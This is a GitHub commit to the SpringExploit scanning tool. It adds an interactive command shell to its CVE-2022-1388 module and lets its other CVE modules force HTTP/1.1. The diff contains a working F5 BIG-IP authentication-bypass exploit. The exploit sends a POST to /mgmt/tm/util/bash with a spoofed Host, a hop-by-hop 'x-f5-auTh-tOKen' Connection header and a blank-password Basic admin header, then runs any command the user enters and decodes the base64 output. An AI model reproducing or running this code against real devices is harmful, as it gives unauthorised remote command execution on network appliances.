Skip to content

Commit 7615e78

Browse files
SummerSecSummerSec
committed
CVE-2022-1388漏洞支持交互shell执行命令
1 parent ac215b3 commit 7615e78

File tree

14 files changed

+176
-26
lines changed

14 files changed

+176
-26
lines changed

‎README.md

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
<a xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="https://visitor-badge.laobi.icu"><rect fill="rgba(0,0,0,0)" height="20" width="17.0" x="49.6"/></a>
1414
</p>
1515

16-
16+
1717

1818
## 📝 TODO
1919

@@ -25,7 +25,9 @@
2525
* [x] 自定义输出日志位置
2626
* [x] 自定义结果输出位置
2727
* [x] 支持自定义漏洞利用
28-
* [x] 支持指定ip段ex: 192.168.0.0/24
28+
* [x] 支持指定ip段eg: 192.168.0.0/24
29+
* [ ] 命令执行漏洞式支持交互式执行命令
30+
* [ ] 验证url是否存活
2931

3032
………
3133

‎cmd/commons/attack/Pocslist.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,26 @@ package attack
33
import "container/list"
44

55
const (
6+
// 2022年list
67
CVE202222963 string = "CVE202222963"
78
CVE202222965 string = "CVE202222965"
89
CVE202222947 string = "CVE202222947"
10+
CVE20221388 string = "CVE20221388"
911

12+
// 2021年list
1013
CVE202126084 string = "CVE202126084"
1114
)
1215

1316
func GetList() *list.List {
1417
l := list.New()
18+
19+
// 2022年漏洞
1520
l.PushBack(CVE202222963)
1621
l.PushBack(CVE202222965)
1722
l.PushBack(CVE202222947)
23+
l.PushBack(CVE20221388)
24+
25+
// 2021年漏洞
1826
l.PushBack(CVE202126084)
1927

2028
return l

‎cmd/commons/core/options.go

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,11 @@ type Options struct {
4141
IP string
4242
// show pocs list
4343
SP bool
44+
45+
// 是否进入交互shell
46+
Shell bool
47+
// 强制开启HTTP 1.1
48+
H1 bool
4449
}
4550

4651
func (o Options) toString() interface{} {
@@ -65,10 +70,12 @@ func ParseOptions() *Options {
6570
flag.StringVar(&options.Out, "o", "result.txt", "out file example: -o=result.txt default result.txt")
6671
flag.StringVar(&options.Pocs, "p", "", "pocs example: -p=CVE202222947,CVE202122963,poc3")
6772
flag.StringVar(&options.IP, "i", "", "ip segment example: -i=192.168.1.1/32")
73+
flag.BoolVar(&options.Shell, "shell", false, "whether to enter the interactive shell")
74+
flag.BoolVar(&options.H1, "h1", false, "force to use HTTP 1.1")
6875
flag.Parse()
6976

7077
// TODO 修改版本号
71-
v := "0.0.7"
78+
v := "0.0.8"
7279

7380
ShowBanner(v)
7481

‎cmd/commons/poc/2022/CVE-2022-1388.go

Lines changed: 48 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ import (
55
"encoding/json"
66
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
77
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
8-
"github.com/fatih/structs"
8+
"github.com/c-bata/go-prompt"
99
"github.com/imroc/req/v3"
1010
log "github.com/sirupsen/logrus"
1111
"net/url"
@@ -17,25 +17,24 @@ type CVE20221388 struct{}
1717
func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) {
1818
log.Debug("[+] Start CVE-2022-1388")
1919

20-
reqinfo := req2.NewReqInfo()
21-
reqmap := structs.Map(reqinfo)
20+
//reqinfo := req2.NewReqInfo()
21+
//reqmap := structs.Map(reqinfo)
22+
reqmap := req2.NewReqInfoToMap(hashmap)
2223

2324
// 初始化请求
2425
// TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值
25-
reqmap["timeout"] = hashmap["Timeout"].(int)
26-
reqmap["retry"] = hashmap["Retry"].(int)
27-
reqmap["proxy"] = hashmap["Proxy"].(string)
28-
reqmap["mode"] = hashmap["Mode"].(int)
26+
reqmap["h1"] = true
2927

3028
u, _ := url.Parse(target)
3129
path := "/mgmt/tm/util/bash"
3230
reqmap["url"] = u.Scheme + "://" + u.Host + path
3331
reqmap["method"] = "POST"
3432

3533
headers := map[string]string{
36-
"Host": "localhost",
37-
"User-Agent": utils.GetUA(),
38-
"Connection": "keep-alive,x-f5-auTh-tOKen",
34+
"Host": "localhost",
35+
"User-Agent": utils.GetUA(),
36+
//"Connection": "keep-alive, x-f5-auTh-tOKen, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host",
37+
"Connection": "keep-alive, x-f5-auTh-tOKen",
3938
"Authorization": "Basic YWRtaW46",
4039
"X-F5-Auth-Token": utils.GetCode(5),
4140
"Content-Type": "application/json",
@@ -55,13 +54,35 @@ func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) {
5554

5655
if t.CheckExp(resp, randstr, hashmap) {
5756
t.SaveResult(target, hashmap["Out"].(string))
57+
}
58+
59+
if hashmap["Shell"].(bool) {
60+
log.Info("[+] Start CVE-2022-1388 shell")
61+
th := prompt.Input("[+] Please input command: ", completer)
62+
if th == "" {
63+
th = "whoami |base64 "
64+
} else {
65+
th = th + " |base64 "
66+
}
67+
reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c '" + th + "'\"}"
68+
resp = utils.Send(reqmap)
69+
txt := resp.String()
5870

71+
log.Debugf("[+] resp: %s", txt)
72+
var txtmap map[string]interface{}
73+
err := json.Unmarshal([]byte(txt), &txtmap)
74+
if err != nil {
75+
log.Errorf("[-] Unmarshal error: %s", err)
76+
return
77+
}
78+
log.Info("命令执行结果: " + utils.DecodeString(txtmap["commandResult"].(string)))
79+
log.Info("[+] End CVE-2022-1388 shell")
5980
}
6081

6182
}
6283

6384
func (CVE20221388) SaveResult(target string, file string) {
64-
result := target + " 存在 CVE-2022-1388漏洞"
85+
result := target + " 存在 CVE-2022-1388漏洞 可以使用 SpringExplit -u " + target + " -p CVE20221388 --shell 进入交互shell执行命令"
6586
err := utils.SaveToFile(result, file)
6687
log.Info(result)
6788
if err != nil {
@@ -71,7 +92,15 @@ func (CVE20221388) SaveResult(target string, file string) {
7192
}
7293

7394
func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[string]interface{}) bool {
95+
defer func() {
96+
if err := recover(); err != nil {
97+
log.Error("[-] CheckExp error: ", err)
98+
}
99+
}()
74100
res := resp.String()
101+
if res == "" {
102+
return false
103+
}
75104
log.Debugf(res)
76105
if strings.Contains(res, randstr) {
77106
// 将res 转化成map
@@ -85,4 +114,12 @@ func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[stri
85114
return true
86115
}
87116
return false
117+
return false
118+
}
119+
120+
func completer(d prompt.Document) []prompt.Suggest {
121+
s := []prompt.Suggest{
122+
{Text: "id", Description: "you can type command {id}"},
123+
}
124+
return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
88125
}

‎cmd/commons/poc/2022/CVE-2022-22947.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,8 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
6161
reqmap["retry"] = hashmap["Retry"].(int)
6262
reqmap["proxy"] = hashmap["Proxy"].(string)
6363
reqmap["mode"] = hashmap["Mode"].(int)
64+
reqmap["h1"] = hashmap["H1"].(bool)
65+
6466
f := 0
6567
for true {
6668
// 第一次请求

‎cmd/commons/poc/2022/CVE-2022-22963.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) {
3333
reqmap["retry"] = hashmap["Retry"].(int)
3434
reqmap["proxy"] = hashmap["Proxy"].(string)
3535
reqmap["mode"] = hashmap["Mode"].(int)
36+
reqmap["h1"] = hashmap["H1"].(bool)
3637
reqmap["headers"] = map[string]string{
3738
"User-Agent": utils.GetUA(),
3839
"Content-Type": "application/x-www-form-urlencoded",

‎cmd/commons/poc/2022/CVE-2022-22965.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,7 @@ func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
5757
reqmap["retry"] = hashmap["Retry"].(int)
5858
reqmap["proxy"] = hashmap["Proxy"].(string)
5959
reqmap["mode"] = hashmap["Mode"].(int)
60+
reqmap["h1"] = hashmap["H1"].(bool)
6061
f := 0
6162
for f < 2 {
6263
time.Sleep(time.Second * 1)

‎cmd/commons/poc/demo.go

Lines changed: 16 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ package poc
33
import (
44
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
55
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
6-
"github.com/fatih/structs"
6+
"github.com/c-bata/go-prompt"
77
"github.com/imroc/req/v3"
88
log "github.com/sirupsen/logrus"
99
)
@@ -13,8 +13,9 @@ type Demo struct{}
1313
func (d Demo) SendPoc(target string, hashmap map[string]interface{}) {
1414

1515
log.Debugf("[+] Running default poc")
16-
reqinfo := req2.NewReqInfo()
17-
reqmap := structs.Map(reqinfo)
16+
//reqinfo := req2.NewReqInfo()
17+
//reqmap := structs.Map(reqinfo)
18+
reqmap := req2.NewReqInfoToMap(hashmap)
1819
// TODO 每次传入的url 都是标准的 http(s)://host:port/path
1920
// 可以使用 url.Parse 来解析获取 host 和 port
2021
// for example:
@@ -38,10 +39,11 @@ func (d Demo) SendPoc(target string, hashmap map[string]interface{}) {
3839
reqmap["body"] = ""
3940

4041
// TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值
41-
reqmap["timeout"] = hashmap["Timeout"].(int)
42-
reqmap["retry"] = hashmap["Retry"].(int)
43-
reqmap["proxy"] = hashmap["Proxy"].(string)
44-
reqmap["mode"] = hashmap["Mode"].(int)
42+
//reqmap["timeout"] = hashmap["Timeout"].(int)
43+
//reqmap["retry"] = hashmap["Retry"].(int)
44+
//reqmap["proxy"] = hashmap["Proxy"].(string)
45+
//reqmap["mode"] = hashmap["Mode"].(int)
46+
//reqmap["h1"] = hashmap["H1"].(bool)
4547
// 发送请求， 获取响应 resp := utils.Send(reqmap)
4648

4749
resp := utils.Send(reqmap)
@@ -72,3 +74,10 @@ func (d Demo) CheckExp(resp *req.Response, target string, hashmap map[string]int
7274
log.Debugf("[+] check exp")
7375
return false
7476
}
77+
78+
func completer(d prompt.Document) []prompt.Suggest {
79+
s := []prompt.Suggest{
80+
{Text: "id", Description: "you can type command {id}"},
81+
}
82+
return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
83+
}

‎cmd/commons/req/request.go

Lines changed: 29 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
package req
22

3+
import "github.com/fatih/structs"
4+
35
type ReqInfo struct {
46
Method string
57
Url string
@@ -9,6 +11,7 @@ type ReqInfo struct {
911
Timeout string
1012
Retry string
1113
Mode string
14+
H1 bool
1215
}
1316

1417
//func (r *ReqInfo) Method() string {
@@ -97,9 +100,32 @@ func NewReqInfo() ReqInfo {
97100
Body: "",
98101
Header: make(map[string]string),
99102
Proxy: "",
100-
Timeout: "",
101-
Retry: "",
102-
Mode: "",
103+
Timeout: "10",
104+
Retry: "3",
105+
Mode: "0",
106+
H1: false,
103107
}
104108
return reqInfo
105109
}
110+
111+
func NewReqInfoToMap(hashmap map[string]interface{}) map[string]interface{} {
112+
reqInfo := ReqInfo{
113+
Method: "",
114+
Url: "",
115+
Body: "",
116+
Header: make(map[string]string),
117+
Proxy: "",
118+
Timeout: "10",
119+
Retry: "3",
120+
Mode: "0",
121+
H1: false,
122+
}
123+
reqmap := structs.Map(reqInfo)
124+
reqmap["timeout"] = hashmap["Timeout"].(int)
125+
reqmap["retry"] = hashmap["Retry"].(int)
126+
reqmap["mode"] = hashmap["Mode"].(int)
127+
reqmap["h1"] = hashmap["H1"].(bool)
128+
reqmap["proxy"] = hashmap["Proxy"].(string)
129+
130+
return reqmap
131+
}

‎cmd/commons/utils/httpclient.go

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,19 @@ import (
66
"time"
77
)
88

9-
func InIt(mode int, timeout int, proxy string, retry int) (client *req.Client) {
9+
func InIt(mode int, timeout int, proxy string, retry int, h1 bool) (client *req.Client) {
1010
log.Debugf("init httpclient")
1111
client = req.NewClient()
1212
if mode != 0 {
1313
client.EnableDumpAll().EnableDebugLog()
1414
}
15+
16+
// TODO client.DisableAutoReadResponse() 不能开启DisableAutoReadResponse 不然CVE-2022-1388 漏洞无法验证
17+
if h1 {
18+
// TODO 强制开启 EnableForceHTTP1 CVE-2022-1388 漏洞设置http代理的情况下必须强制开启HTTP1 其他情况框架会自动判断使用什么版本http协议
19+
client.EnableForceHTTP1()
20+
}
21+
1522
client.SetLogger(log.StandardLogger())
1623
// 设置超时时间
1724
client.SetTimeout(time.Duration(timeout) * time.Second)
@@ -41,8 +48,9 @@ func Send(hashmap map[string]interface{}) (resp *req.Response) {
4148
mode := hashmap["mode"].(int)
4249
headers := hashmap["headers"].(map[string]string)
4350
body := hashmap["body"]
51+
h1 := hashmap["h1"].(bool)
4452

45-
client := InIt(mode, timeout, proxy, retry)
53+
client := InIt(mode, timeout, proxy, retry, h1)
4654

4755
reqt := client.R().EnableDump()
4856
reqs := SetRequest(reqt, headers, body.(string))

0 commit comments

Comments
 (0)